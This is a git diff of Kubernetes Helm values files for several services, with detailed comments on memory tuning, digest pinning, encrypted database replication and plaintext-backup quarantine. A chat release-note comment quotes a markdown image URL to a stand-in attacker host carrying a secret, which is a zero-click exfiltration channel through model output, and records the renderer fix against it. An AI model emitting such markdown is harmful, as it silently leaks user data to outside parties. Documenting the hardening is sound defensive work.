# abstracts collections behind CollectionSpec, so the move is a third handle
# implementation against Hanzo Base over the network, same contract, then this
# claim and this comment both go away and replicas:2 + RollingUpdate is legal.
replicas: 1
partOf: chat
component: server
@@ -185,7 +221,19 @@ resources:
memory: 2Gi
requests:
cpu: 100m
memory: 256Mi
# Steady-state is ~500Mi; a 256Mi request made chat the node's first
# eviction target under memory pressure (evicted 2026-08-06, ~3min 503).
#
# 512Mi was still under the working set and did not hold: the pod that
# 512Mi shipped in (chat-77cbb6dbd6-fcl69) was evicted 36 minutes later
# at 07:27:52Z, "Container chat was using 542816Ki, request is 512Mi".
# Peak has been climbing across the two measured evictions --
# 500556Ki (488Mi) at 06:42, 542816Ki (530Mi) at 07:27 -- so the request
# has to sit ABOVE the peak, not at it. What has to clear the bar is the
# POD: 640Mi here + 32Mi on the sidecar = 672Mi of request against a pod
# measured at ~549Mi, so the pod is no longer over its total and is ranked
# behind every pod that is.
memory: 640Mi
volumes:
- configMap:
name: chat-config
@@ -209,6 +257,9 @@ ports:
- containerPort: 3080
name: http
servicePort: 80
# Recreate because the app-db claim is RWO and the writer is in-process: the old
# pod must release the volume before the new one can attach it, and overlapping
# them would put two writers on chat.db. See the note at replicas.
strategy: Recreate
image:
repository: ghcr.io/hanzoai/chat
@@ -248,10 +299,66 @@ image:
# Pro $20 / Plus $100 / Max $200 while the catalog said Pro $49, Max $99 and
# Plus retired — and every card links to hanzo.ai/pricing, so a visitor read
# one price here and a different one the moment they clicked.
tag: 1.0.80
# 1.0.91 — the chat is the landing, finished. Ambient aquarium backdrop
# (revealed only on PROOF of playback; a refused video is a clean canvas,
# never an error card; per-visitor off switch in Settings). Signed-out boot
# is deterministic: refresh answers 401 honestly, the axios interceptor
# treats a refresh 401 as terminal, and adopting the guest cancels the
# DEBOUNCED unauth write that used to erase the bearer 50ms after adoption
# (sends left tokenless while the composer stayed up). The service worker is
# a self-destroyer — the workbox precache served the previous build's shell
# after every deploy. Mobile message bodies are symmetric (16/16). Sidebar
# rail: Projects / Sites / Scheduled / Plugins. Help default 404 fixed.
# 1.0.92 — a poisoned saved panel layout can no longer squeeze the chat
# into a sliver: a restore where the side panel claims >40% is refused and
# the defaults apply, so every affected browser heals on its next load.
# 1.0.93 — voice is one page-wide conversation any mic can stop
# (@hanzo/voice 0.1.4); the mic wears the state (white / flashing green /
# red under the cursor) and the stop circle is gone; the assistant knows
# the app and proposes setting changes as Apply cards (backdrop video,
# backdrop on/off, reading voice) — nothing applies without the user.
# 1.0.95 — red-team pass before public self-service. Closes the markdown
# image-exfiltration channel (a model-emitted ![](https://attacker/?d=secret)
# is a zero-click beacon): the renderer refuses to auto-load a third-party
# image src (link instead), and img-src drops the bare https: scheme as the
# backstop. Plus rel=noopener on new-tab links and the dock's cross-origin
# invariant made structural. Carries 1.0.94's dock + signature.
# Re-affirmed to re-fire the roll: the 02:41 pin commit was stranded when the
# reconciler restarted ~08:40 and only processes commits it sees live, leaving
# the pod on 1.0.93 (the exfil fix declared but not deployed for ~7h). A fresh
# commit is the deploy trigger, so this brings running into agreement with git.
# 1.0.96 — red-team pass 2 before public self-service. P0: the composer
# mic was dead for EVERYONE (server sent Permissions-Policy microphone=(),
# denying getUserMedia to our own document) — now microphone=(self). P1s:
# the landing is indexable again (noindex was global, including the
# signed-out product front door); the hanzo-setting consent card is legible
# (was 1.03:1 dark-on-dark); a signed-out billing refusal points to sign-up,
# not a top-up page for an account that doesn't exist; the black-box
# world.hanzo.ai dock card is held. Carries the backgrounds rewrite
# (photo/video/playlist, /bg commands) + dock/signature from 1.0.94.
# 1.0.97 — UI pass: the arrival screen is the composer and nothing else.
# Hero 'Explore new worlds.'; left edge is just the mark (which opens the
# sidebar when collapsed) — model pill + multi-convo + presets gone, model
# is enso by default and lives in Settings; mode tabs lose the underline.
# Messages drop all identity chrome (no avatar/name/routed-tag) — the
# visitor's turn is a glass bubble on the right, the reply plain on the
# left. Right-click the canvas to change the background (video/photo/off/
# loop/view), same atom as Settings + /bg.
# 1.0.98 — the composer mic dictates now (was a spoken conversation): one
# click draws a live waveform (@hanzo/voice 0.1.5 reports input level), the
# transcript streams into the box and STAYS, the stop square keeps it for you
# to send yourself. S3 file uploads verified end-to-end in the same pass.
# 1.0.99 — a + on the composer makes something: Create document /
# presentation / spreadsheet (seed the ask, enso produces the artifact) /
# site (hands to the builder), plus Agents.
# 1.0.100 — a canvas toggle on the right edge, the sidebar button's mirror:
# it opens/closes the artifacts panel (document, deck, spreadsheet, site
# preview, image — whatever was produced), appears only when there is a
# canvas to show. Builds on the existing ArtifactsPanel.
tag: 1.0.100
# The digest is what actually gets pulled — moving the tag alone changes
# nothing, which is how 1.0.52 rolled out still serving 1.0.51's bytes.
digest: sha256:51c8279868bf2aa57ea4c4b7fcfdfb87ba04bf0e48b4b649b9a2f4e634194f16
digest: sha256:27cf0d9b4af4cedc63e5eba05c890379e30105a664b887758fb236e92a66af6b
pullPolicy: Always
livenessProbe:
initialDelaySeconds: 60
@@ -271,9 +378,105 @@ readinessProbe:
httpGet:
path: /v1/chat/health
port: 3080
# The replica for the only copy of the database above. Two separate faults kept
# it from working; both are recorded here because both can recur.
#
# 1. The sidecar could not write an encrypted file AT ALL. replicate 0.8.0
# encrypts in Replica.WriteLTXFile and then hands the CIPHERTEXT to
# s3.ReplicaClient.WriteLTXFile, which calls ltx.PeekHeader on it to read a
# timestamp for S3 metadata. Age ciphertext opens "age-encryption.org/v1",
# not LTX magic, so every sync died on "write ltx file: extract timestamp
# from LTX header: invalid LTX file" and txid.replica sat at 0 forever. The
# fix is internal.ExtractLTXTimestamp, which sniffs the age intro and dates
# sealed objects by write time; it landed upstream in v0.9.6. Nothing about
# this was configuration — 0.8.0 with an age block can never replicate, and
# dataroom (same image, NO age block) fails on something else entirely,
# which is what proves it.
#
# The mirror image of it broke restore. 0.8.0 decrypts unconditionally once
# identities are set, so reading a PLAINTEXT object dies on "age decrypt:
# failed to read header: parsing age header: unexpected intro: LTX1". Read
# and write were each assuming the encryption state of the other. The read
# half is DecryptIfSealed, which sniffs the same intro and only decrypts what
# is actually sealed; it is NOT in any tag through v0.9.8, so the image must
# come from main, not from a release.
#
# The pin below is 0.9.9, built from main (f864603) because no release tag
# carries both halves — v0.9.6 has the write half, the read half is on main
# only. Pin the digest, not the tag: 0.8.0 sat here working on nothing.
#
# 2. Something else was writing PLAINTEXT to the same prefix. configMap
# recover-config-chat targets this identical bucket and path (chat-db,
# chat/app) with no age block, so hand-run recovery pods left unencrypted
# full-database snapshots under chat/app/0009/ — two of them, 2026-08-05
# 00:00Z and 03:40Z, holding Balance and Transaction rows in the clear. While
# the sidecar was broken they were the only restorable copy that existed, so
# they were not touched until 0.9.9 had written a full encrypted lineage and
# that lineage had been restored and checked. They now sit under
# chat/.quarantine/0009/, moved rather than deleted, byte sizes and mtimes
# intact. chat/app/0009/ is empty until the 24h L9 compaction refills it,
# encrypted this time.
#
# An image built from main closes this by construction: RequireEncryption
# defaults true (cmd/replicate/main.go, `age.allow-plaintext`), and every
# write path refuses plaintext with ErrEncryptionRequired. A config with no
# recipient then crash-loops loudly instead of quietly shipping cleartext.
# Restore is deliberately exempt, so the recovery runbook still reads.
#
# recover-config-chat is now DELETED, along with recover-config and
# recover-config-hanzo-app — one config per prefix, ever. The runbook it
# was serving is infra/k8s/backup/README.md, which had never mentioned the
# replica at all; recovery there is this service's own config with `-o`
# redirecting the output, which is why a second config is never needed.
#
# Fleet note, corrected: dataroom replicated with no age block and is now
# keyed and on 0.9.10. hanzo-app does not replicate at ALL — no sidecar, no
# config, no mounted volume — so there was nothing to fail closed. What it
# has is a bucket holding two plaintext LTX snapshots from 2026-07-29, left
# behind when its sidecar was removed.
#
# The restore below stays gated `-if-replica-exists`, which is right: skipping a
# restore beats overwriting a live volume. Know what it costs, though. Measured
# at the 0.8.0 pin, that command exited 0 having written NO FILE — the gate
# swallowed the decrypt error — so a volume lost in that window would have
# booted chat on an EMPTY database in silence. The gate did not fail; it
# reported honestly that no replica it could read existed. A gate is only ever
# as good as the replica behind it, which is why the alarm below is the real
# control and this flag is not.
#
# The replica going quiet is therefore the condition to alarm on, and it does
# not announce itself. The rule is infra/o11y/rules/chat-replica-sync-failing.json
# (LOGS_BASED_ALERT on the sidecar's "monitor error" lines — the metrics in
# db.go are never exposed, since the config sets no `addr` and nothing scrapes).
# That directory is NOT GitOps-synced: adding the file changes nothing until
# someone runs ./apply.sh against o11y with an admin token.
configMaps:
# Byte-identical to what ran in the cluster, which until now existed ONLY there.
# The sidecar reads this once at boot, so editing it does not restart the pod —
# roll the workload for any change here to take effect.
- name: chat-replicate-config
data:
replicate.yml: |
# hanzoai/replicate -- SQLite WAL -> S3 (SeaweedFS).
dbs:
- path: /var/lib/hanzo/chat/chat.db
replicas:
- type: s3
bucket: chat-db
path: chat/app
endpoint: http://s3.hanzo.svc:9000
region: us-east-1
force-path-style: true
access-key-id: ${S3_ACCESS_KEY_ID}
secret-access-key: ${S3_SECRET_ACCESS_KEY}
age:
identities:
- ${AGE_IDENTITY}
recipients:
- ${AGE_RECIPIENT}
initContainers:
- name: replicate-restore
image: ghcr.io/hanzoai/replicate:0.8.0-amd64@sha256:6ff01e14c9184879d046bb0a77f93fc58bd31327a7ff18758ccb43a061e0dd9e
image: ghcr.io/hanzoai/replicate:0.9.9-amd64@sha256:90bb42acf765c420202a5d952de4b97f04e697d7f1b596b48a21c554f7fb5943
command:
- /usr/local/bin/replicate
args:
@@ -309,9 +512,21 @@ initContainers:
mountPath: /var/lib/hanzo/chat
- name: replicate-config
mountPath: /etc/replicate
# Same request-0 problem as the sidecar. An init container's request does not
# add to the pod's steady-state request (kubelet takes max(init, sum(app))),
# so this costs nothing at 32Mi and keeps the restore from being the reason a
# cold-starting pod is picked off before it ever reaches Ready. The restore
# streams a WAL rather than loading it, so it sits in the same band as the
# sidecar; 256Mi is the ceiling, not the expectation.
resources:
requests:
cpu: 10m
memory: 32Mi
limits:
memory: 256Mi
sidecars:
- name: replicate
image: ghcr.io/hanzoai/replicate:0.8.0-amd64@sha256:6ff01e14c9184879d046bb0a77f93fc58bd31327a7ff18758ccb43a061e0dd9e
image: ghcr.io/hanzoai/replicate:0.9.9-amd64@sha256:90bb42acf765c420202a5d952de4b97f04e697d7f1b596b48a21c554f7fb5943
imagePullPolicy: IfNotPresent
command:
- /usr/local/bin/replicate
@@ -321,6 +536,27 @@ sidecars:
- /etc/replicate/replicate.yml
env: *id001
volumeMounts: *id002
# This sidecar shipped with no resources at all, so its memory request was 0.
#
# Mechanism, stated correctly: kubelet ranks memory-pressure eviction on the
# POD -- whether the pod's working set exceeds the SUM of its containers'
# requests -- not container by container. A container requesting 0 therefore
# contributes nothing to that sum while still consuming, which lowers the bar
# the whole pod has to clear and puts it in the over-request bucket that gets
# evicted first. (The order containers appear in the eviction MESSAGE is
# report ordering by consumption, not the ranking; "replicate" appearing
# ahead of "chat" is not evidence about which one caused it.) That is why
# raising chat's request alone could not fix this: 512Mi against a pod using
# ~549Mi across both containers still leaves the pod over its total.
# Measured: "Container replicate was using 13468Ki, request is 0" (06:42:01Z)
# and "using 18904Ki, request is 0" (07:27:52Z).
# 32Mi is ~1.7x the 18904Ki (18.5Mi) peak of the two samples.
resources:
requests:
cpu: 10m
memory: 32Mi
limits:
memory: 128Mi
ingress:
enabled: true
# hanzo.chat ONLY. chat.hanzo.ai is an ALIAS, not a second origin — it 301s to
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the ci App CR by hack/app2values.py.
# The ci declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
env:
- name: CI_GIT_BASE
+86 -10
View File
@@ -76,6 +76,16 @@ env:
# subprocesses and non-Go memory.
- name: GOMEMLIMIT
value: 9GiB
# The public edge's max request body. The 16 MiB default (cloud config.go) was
# sized for CHAT PROMPTS -- 4 MiB was the framework default and silently capped
# the context window, since a 1M-token prompt is ~4.3 MB of JSON -- and site
# publishing then inherited it. The site subsystem's own caps are far larger
# (blob.go: 512 MiB total, 64 MiB per file), so a zip deploy was throttled by a
# number that was never about zips. fasthttp refuses an oversize body BEFORE any
# handler runs and its wire error is the opaque 400 "Error when parsing request",
# which reads like a malformed payload rather than a size cap.
- name: GATEWAY_BODY_LIMIT
value: "104857600"
- name: CLOUD_PUBSUB_ENABLED
value: 'false'
- name: CLOUD_KAFKA_ENABLED
@@ -323,6 +333,23 @@ env:
secretKeyRef:
key: LIBRECHAT_CODE_API_KEY
name: code-exec-secrets
# The lsp daemon's shared service key, sent as X-API-Key by the /v1/code/lsp
# proxy. ONE secret with TWO readers — the same hanzo/lsp/LSP_KEY@prod that the
# daemon itself reads — so there is no pair to keep in step and no rotation that
# can half-land.
#
# `lsp-env` is synced into this namespace by the KMSSecret in
# values/hanzo/lsp.yaml, and `optional: true` is what decouples the two
# Applications: cloud is the fleet's front door and must not crash-loop because
# a sibling release has not synced yet. The daemon is the one that fails closed —
# an empty LSP_KEY there makes it refuse every request rather than serve whoever
# asks — so nothing is weakened by cloud tolerating the absence.
- name: LSP_KEY
valueFrom:
secretKeyRef:
key: LSP_KEY
name: lsp-env
optional: true
- name: WEBSEARCH_API_KEY
valueFrom:
secretKeyRef:
@@ -591,6 +618,18 @@ env:
secretKeyRef:
key: clientSecret
name: cloud-api-secrets
# The text and vision plane serves through openrouter (zen catalog v1.4.11): every
# chat SKU, plus zen-vl and zen-guard. zen's key resolver reads the ENVIRONMENT
# first and KMS only as a fallback, so this entry is the live credential — without
# it every one of those SKUs sends an empty key and the upstream answers 401.
- name: OPENROUTER_API_KEY
valueFrom:
secretKeyRef:
key: OPENROUTER_API_KEY
name: cloud-api-llm-keys
# DigitalOcean now serves ONLY what openrouter has no endpoint for — embeddings,
# image, video and rerank (zen-embedding, zen-image, zen-video, zen-rerank). Those
# four are the entire remaining DO surface.
- name: DO_AI_API_KEY
valueFrom:
secretKeyRef:
@@ -1262,7 +1301,37 @@ image:
# because an out-of-band builder minted a higher one over older bytes; the
# CONTENT goes forward. Verified: `crane config .452` -> revision b2a07c935;
# the digest below is `crane digest .452`.
tag: v1.801.454
# v1.801.466 — AGENTS CAN REACH THE WEB, and answers can pick a shape.
#
# ai v1.832.30 adds web_search / fetch_url / deep_research to the builtin tool
# registry, which until now held five TIME tools: an agent on /v1/responses that
# asked to search had nothing to call, while /v1/websearch, /v1/crawl and /v1/ask
# had been live the whole time. This host installs the websearch backend
# in-process (apps/ai) — never over api.hanzo.ai, which validates a CUSTOMER
# credential and 401s a service.
#
# deep_research is declared but NOT installed, deliberately: it carries a 25-cent
# per-answer fee charged through Bill.Gate, and a tool call has no payer, so a
# direct seam would be unbilled 25-cent calls an agent could loop. It reports
# "unavailable in this deployment" rather than an empty result — an agent told
# "no results" concludes the web holds nothing and answers from memory.
#
# Also carries the widget rule: /v1/ask teaches the model the one structured
# result format the answer surfaces render, so a comparison arrives as a table
# and a procedure as steps. The extension validates and DROPS anything malformed,
# keeping the prose, so a bad block degrades to text rather than a hole.
# v1.801.478 — api.hanzo.ai/v1/commerce SERVES THE MERCHANT RESOURCES.
#
# commerce is a PLUGIN of this binary; there is no commerce backend pod. Until
# now the embed carried the store/billing routes and no resource bundle, so
# product, collection, variant, webhook, saleschannel and stocklocation 404'd —
# and commerce-admin, which is correctly pointed at api.hanzo.ai/v1/commerce,
# had nothing to read. The tell is 404 vs 401: /v1/store/current answered 401
# (mounted, gated) while /v1/commerce/product answered 404 (absent).
#
# Also carries e3f3913ff — a top-up's receipt is read where the charge was
# written — which .476 predates.
tag: sha-8465354e6bf3
# DIGEST PIN, and it is not decoration — it is the only thing that makes the
# tag above mean one image on every node. imagePullPolicy is IfNotPresent, so a
# node that already pulled a name keeps whatever bits it cached under it
@@ -1276,18 +1345,25 @@ image:
# cloud-6cd5ff9685-sx5p8 was up. That is not a cosmetic drift: 363 predates
# cloud 89ae5449, so api.hanzo.ai/v1/o11y/version and /health answered
# 403 {"status":403,"error":"no validated principal"} against a chart that
# claimed to carry the fix for exactly that. The evidence is one command —
# crane config ghcr.io/hanzoai/cloud:<tag> | jq -r '.config.Labels'
# reads org.opencontainers.image.revision, and a tag whose revision is not the
# commit you meant has not shipped whatever that commit did.
# claimed to carry the fix for exactly that.
#
# This digest IS v1.801.368: revision 83f1e3b7 (= git tag v1.801.368 = cloud
# origin/main), built 15:38:35Z, and it carries 89ae5449 — the gate that asks
# o11y.Anonymous which ops are public instead of keeping its own list of four
# /api/v1|v2 paths that no route had served since o11y v1.5.37.
# ⚠️ THE LABEL CHECK THIS PARAGRAPH USED TO PRESCRIBE IS DEAD. It said to read
# org.opencontainers.image.revision via `crane config`. That label is
# "unknown" on v1.801.466, .476 and .478 alike — the builder passes
# build-arg:VERSION and no revision — so the command answers for every image
# and distinguishes none of them. Following it yields a confident nothing.
# Ask the BUILD JOB what it cloned instead, which is the actual input:
# kubectl -n hanzo-build get job build-cloud-<id> \
# -o jsonpath='{.spec.template.spec.containers[0].args}' | tr ',' '\n' | grep context
# Note it may name a REF, not a sha (`#refs/heads/main`), in which case the
# image is whatever that branch pointed at when the job started — resolve it
# against the branch tip and confirm your commit is an ancestor.
#
# This digest IS v1.801.478: built from hanzo-inc/cloud (NOT the forge, NOT
# hanzoai/cloud — those are different lineages) at refs/heads/main = a10583c5b.
#
# Move it with the tag, every time, or delete both together.
digest: sha256:b62a788d81fcda4cf342963172254a4180379e162d43ca934d38bfa7f1c3c6ff
digest: sha256:943cc0bf9f9da9b81bca8877adcb03c2040801e0464ed02056e337a2d90fd1a1
# v1.801.328 = cloud main 99a62339a + commerce v1.49.32. Fixes
# /v1/commerce/tenant 404 {"error":"unknown tenant"} on EVERY host (pay.hanzo.ai
# and api.hanzo.ai both), which took the card + top-up path down: fiber parses
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the cms App CR by hack/app2values.py.
# The cms declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: cms
-41
View File
@@ -1,41 +0,0 @@
# The network sandbox for code execution.
#
# Dormant, not dead: the code-exec Service exists and the gvisor-installer
# DaemonSet is at zero, so nothing matches app: code-exec today. That is exactly
# why this is declared rather than deleted — the isolation has to already be in
# place the moment the workload comes back, not be remembered afterwards.
#
# WHAT IT ALLOWS: reached only from this namespace, on 8000, and it may resolve
# DNS. Nothing else. A pod running submitted code cannot open a connection to the
# datastores, to another namespace, or to the internet.
#
# This one survived the sweep that removed 33 policies from this namespace on its
# own merit: it is the only one that DENIED anything. The rest were ingress allows
# already covered in full by CiliumNetworkPolicy/allow-cluster-ingress.
#
# Policy only — no image and no ports, so the chart renders no workload and no
# Service. The Service itself is not managed here.
chart: app
cd:
automated: true
networkPolicy:
enabled: true
podSelector:
matchLabels:
app: code-exec
ingress:
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: hanzo
ports:
- {port: 8000, protocol: TCP}
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- {port: 53, protocol: UDP}
- {port: 53, protocol: TCP}
+17 -6
View File
@@ -1,4 +1,11 @@
# Generated from the commerce-admin App CR by hack/app2values.py.
# The commerce-admin declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: commerce-admin
@@ -21,11 +28,15 @@ ports:
servicePort: 3000
image:
repository: ghcr.io/hanzoai/commerce-admin
# Names the digest that was already here — same bytes, now legible on the pod.
# 0.0.1 from March; the line is at 1.49.29. Same deliberate version gap as
# commerce-site, and the same reason to write the number down.
tag: 0.0.1
digest: sha256:4cca2b4ff528f97037e9bb22f664f00a80fb424570ccdd869ec07002cbce727e
# Current main, at last. This sat on 0.0.1 — a March image built from a lineage
# whose source now survives only in a stray worktree — while the admin was
# rewritten underneath it, so every fix merged since looked deployed and was
# not. commerce's own docs call this second spelling retired precisely because
# "one artifact with two incompatible URL contracts is what let the embedded
# copy rot"; retiring it for real is a routing change on a live host, so until
# then the pin at least follows main.
tag: 6eaec4849df5427fdc6eeb3571b44fc8bef5ae64-amd64-commerce-admin
digest: sha256:2c0a6faa4a3aa02300418440323bb71dd75815b48b21212a0dbc502b772e419d
pullPolicy: Always
ingress:
enabled: true
+8 -1
View File
@@ -1,4 +1,11 @@
# Generated from the commerce-site App CR by hack/app2values.py.
# The commerce-site declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: commerce-site
+21 -6
View File
@@ -1,4 +1,11 @@
# Generated from the console App CR by hack/app2values.py.
# The console declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 2
partOf: platform
component: console
@@ -55,8 +62,16 @@ resources:
memory: 128Mi
imagePullSecrets:
- name: ghcr-secret
# The console IS static: the image is the SPA behind hanzoai/static, whose
# server listens on 3000 (Dockerfile: CMD -port=3000). These numbers still said
# 4000 — the port of the RETIRED Next.js server image the Dockerfile replaced —
# so the Service targeted a port nothing listened on and the probes dialled it
# too: the first image ever built from the current Dockerfile came up serving
# /srv on 3000, failed six liveness dials at 4000, and was killed. The SERVICE
# keeps 4000 (the ingress routes to it and must not move); only the container
# side follows the image.
ports:
- containerPort: 4000
- containerPort: 3000
name: http
servicePort: 4000
strategy: RollingUpdate
@@ -84,8 +99,8 @@ image:
# WITHOUT the v — the platform runner's tag convention — so one version number
# already names two things. .36 is free in git and in both conventions.
# console 4656c316f4 adds the react-native-svg pin every other gui-8 app carries.
tag: v8.5.40
digest: sha256:136a4db3d24837d61feb4d6f5b966f2094686912e08fb6d4210ef5b0429a1634
tag: v8.5.59
digest: sha256:5fc1aebe79769308db83705cc996f7eb6feca6710c7b5e2b3b9631d2164cd714
# Tag and digest are ONE registry answer, written by pin.sh in one edit. The
# kubelet resolves by digest and the tag beside it is a comment it ignores, so
# a stale digest next to a fresh tag serves the old build while this file reads
@@ -105,7 +120,7 @@ livenessProbe:
periodSeconds: 30
httpGet:
path: /
port: 4000
port: 3000
readinessProbe:
timeoutSeconds: 3
successThreshold: 1
@@ -114,7 +129,7 @@ readinessProbe:
periodSeconds: 10
httpGet:
path: /
port: 4000
port: 3000
ingress:
enabled: false
+137 -3
View File
@@ -1,4 +1,11 @@
# Generated from the dataroom App CR by hack/app2values.py.
# The dataroom declaration. Hand-maintained: this file IS the source of truth, read
# by the `fleet` ApplicationSet (charts/app/values/*/*.yaml). Edit it directly.
#
# It previously claimed to be generated from an App CR by hack/app2values.py.
# Both are gone — 0c7b5ea36 deleted infra/k8s/operator/crs, and the script with
# it — so that header named a generator nobody could run from an input that did
# not exist, which reads as "do not edit" and sends you looking for a source that
# is not there.
replicas: 1
partOf: platform
component: dataroom
@@ -136,9 +143,99 @@ readinessProbe:
httpGet:
path: /
port: 3000
# The replica for the only copy of the database above. It had been dead for
# three days when this was written, and it was dead in the one way nothing
# notices: the pod reads 2/2 Running, the sidecar is alive, and every sync
# fails. 777 consecutive failures, all of them this:
#
# checkpoint: reacquire read lock: no such table: _replicate_seq
#
# replicate keeps two tables of its own in the file it guards -- _replicate_seq
# to force a frame into the WAL when the app is idle, _replicate_lock to promote
# the sync transaction to a write lock. Up to 0.9.9 it created them once, in
# init(). dataroom's CMD is
#
# prisma db push --schema prisma/schema --skip-generate --accept-data-loss
#
# and `db push` reconciles the WHOLE file against the app's schema, dropping
# every table that schema does not declare. It said so itself, in the boot log,
# one second after the sidecar created them:
#
# You are about to drop the `_replicate_seq` table, which is not empty (1 rows)
#
# From that moment every checkpoint released the read lock, checkpointed, and
# could not reacquire it. init() had already run, so nothing ever recreated the
# table. Note the shape of the race: whichever of the two containers finishes
# LAST wins, and they start together. It had been working; it stopped because of
# a restart, not a change.
#
# Fixed in replicate at the layer that owns the invariant -- 0.9.10 asserts the
# schema on every read-lock acquisition instead of once at boot, so an
# application reconciling its own schema is survivable rather than fatal. This
# is not specific to prisma: drizzle-kit push and atlas drop unknown tables too,
# and no app will ever declare a table it does not know about. Fixing dataroom's
# CMD would have fixed one caller; this fixes the class, for every service that
# will ever put a replicate sidecar next to a schema-push boot.
#
# 0.9.10 also brings what chat is already on: the write half that lets an age
# config replicate at all (0.8.0 hands ciphertext to a function that reads LTX
# magic, so an age block could never have worked), and the read half that only
# decrypts what is actually sealed -- needed here, because the five objects
# already in this bucket are plaintext and restore has to be able to read them.
#
# The age block is new. Without it every object written here was cleartext LTX,
# and that is what the whole prefix used to hold. The keypair comes from KMS
# through dataroom-replicate-age; see the note at kmsSecrets for why it is the
# existing key rather than a fresh one, and why it had to land first.
#
# Verified end to end on 2026-08-05, in this order, because the order is the
# only thing that made it safe:
# - sidecar green on v0.9.10, 0 errors, txid.replica == txid.db == 0x24
# (it had been stuck at 0x20 since 2026-08-02T21:13:58Z)
# - prisma dropped BOTH tables again on this very boot -- the log says so --
# and the next checkpoint recreated them with no error. That is the fix
# firing in production, not in a test.
# - every object written since the roll opens `age-encryption.org/v1`,
# including a new full L9 snapshot covering txid 1..0x22
# - restored to a scratch path with -integrity-check full: passed, 65 tables,
# schema hash and page count identical to the live file
# - only THEN were the four surviving plaintext objects moved to
# dataroom/.quarantine/ (moved, not deleted, sizes verified before the
# source was removed), and the restore re-run against the now
# encrypted-only lineage: passed again.
#
# Worth knowing before reading anything into those numbers: this database has
# 65 tables and ZERO rows in every business table -- no users, teams, documents,
# datarooms or links. dataroom is deployed and unused. The backup is correct;
# there is simply nothing in it yet.
configMaps:
# Byte-identical to what ran in the cluster, plus the age block. This existed
# ONLY in the cluster until now, applied by hand -- which is exactly how a
# second config for the same prefix becomes possible. The sidecar reads it once
# at boot, so editing it does not restart the pod; roll the workload.
- name: dataroom-replicate-config
data:
replicate.yml: |
# hanzoai/replicate -- SQLite WAL -> S3 (SeaweedFS).
dbs:
- path: /data/dataroom.db
replicas:
- type: s3
bucket: dataroom-db
path: dataroom/app
endpoint: http://s3.hanzo.svc:9000
region: us-east-1
force-path-style: true
access-key-id: ${S3_ACCESS_KEY_ID}
secret-access-key: ${S3_SECRET_ACCESS_KEY}
age:
identities:
- ${AGE_IDENTITY}
recipients:
- ${AGE_RECIPIENT}
initContainers:
- name: replicate-restore
image: ghcr.io/hanzoai/replicate:0.8.0-amd64@sha256:6ff01e14c9184879d046bb0a77f93fc58bd31327a7ff18758ccb43a061e0dd9e
image: ghcr.io/hanzoai/replicate:v0.9.10@sha256:5ee5dba043260c2aceac27213cb4bf5243cf4b089406ed902ea2b6d73379bd78
command:
- /usr/local/bin/replicate
args:
@@ -159,6 +256,16 @@ initContainers:
secretKeyRef:
name: s3-credentials
key: secret-key
- name: AGE_IDENTITY
valueFrom:
secretKeyRef:
name: dataroom-replicate-age
key: AGE_IDENTITY
- name: AGE_RECIPIENT
valueFrom:
secretKeyRef:
name: dataroom-replicate-age
key: AGE_RECIPIENT
volumeMounts: &id002
- name: app-db
mountPath: /data
@@ -166,7 +273,7 @@ initContainers:
mountPath: /etc/replicate
sidecars:
- name: replicate
image: ghcr.io/hanzoai/replicate:0.8.0-amd64@sha256:6ff01e14c9184879d046bb0a77f93fc58bd31327a7ff18758ccb43a061e0dd9e
image: ghcr.io/hanzoai/replicate:v0.9.10@sha256:5ee5dba043260c2aceac27213cb4bf5243cf4b089406ed902ea2b6d73379bd78
imagePullPolicy: IfNotPresent
command:
- /usr/local/bin/replicate
@@ -190,6 +297,33 @@ claims:
- name: dataroom-app-db
size: 10Gi
storageClass: do-block-storage
# The age keypair the replicate sidecar seals with. It has to exist and be
# populated BEFORE the sidecar asks for it: from 0.9.9 on, RequireEncryption
# defaults true, so a sidecar that resolves an empty identity does not fall back
# to plaintext, it refuses to start. Keys before config, in that order, always.
#
# A keypair was already sitting in the cluster as a hand-made Secret of this
# name, unused, for 31 days -- provisioned and never connected, which is why
# dataroom's whole replica is plaintext. It is reused rather than rotated: it
# round-trips under luxfi/age v1.6.0 (the library replicate links) and nothing
# has ever been encrypted to it, so rotating buys nothing and costs a second
# keypair in flight. KMS is now its home; this sync is what makes that true.
#
# The path is /dataroom, not /dataroom-secrets where dataroom's other three
# secrets live. HIP-0136 (stated as law in charts/app/templates/kmssecret.yaml)
# names the path after the app that READS the secret and the key after the
# environment variable verbatim -- never the secret's own name. The -secrets
